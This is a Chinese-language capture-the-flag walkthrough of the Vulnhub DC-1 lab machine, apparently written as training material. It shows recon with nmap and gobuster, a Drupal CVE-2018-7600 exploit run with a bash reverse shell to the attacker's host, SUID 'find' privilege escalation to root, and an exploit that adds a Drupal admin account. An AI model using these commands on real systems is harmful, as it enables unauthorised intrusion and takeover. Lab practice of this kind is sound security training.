Vulnhub靶机：DC1

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.15）

靶机：DC1（10.0.2.54）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/dc-1,292/

二、信息收集

使用nmap主机发现靶机ip：10.0.2.54

使用nmap端口扫描发现靶机开放端口：22、80、111、37884

80端口：打开网站发现该网站为Drupal CMS

使用gobuster工具进行目录爆破

gobuster dir -u http://10.0.2.54 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

目录爆破发现/robots.txt，我们把robots.txt里面的文件和目录都访问一遍

通过UPGRADE.txt文件，我们大致推断Drupal的版本为7点几

三、漏洞利用

使用searchsploit工具搜索Drupal cms的历史漏洞，我们把Drupal 版本为7点几的exp都尝试一遍，发现部分exp可以使用，其他的或多或少都有些问题

直接在网上找一个Drupal7命令执行的exp：https://github.com/pimps/CVE-2018-7600

反弹shell

python CVE-2018-7600.py http://10.0.2.54 -c "bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'"

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

登录虚拟终端后，find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件，发现find命令

使用find命令进行提权

/usr/bin/find . -exec /bin/bash -p \; -quit

获取flag

find / -name flag*

flag1：

flag4：

flag2：

find /var/www/ -name set*

flag3：

之前尝试过这个exp可以添加一个管理员账号，当然也可以获得root权限后登录数据库查看管理员账号密码

python2 34992.py -t http://10.0.2.54/ -u test -p test

登录网站发现flag3

thefinalflag：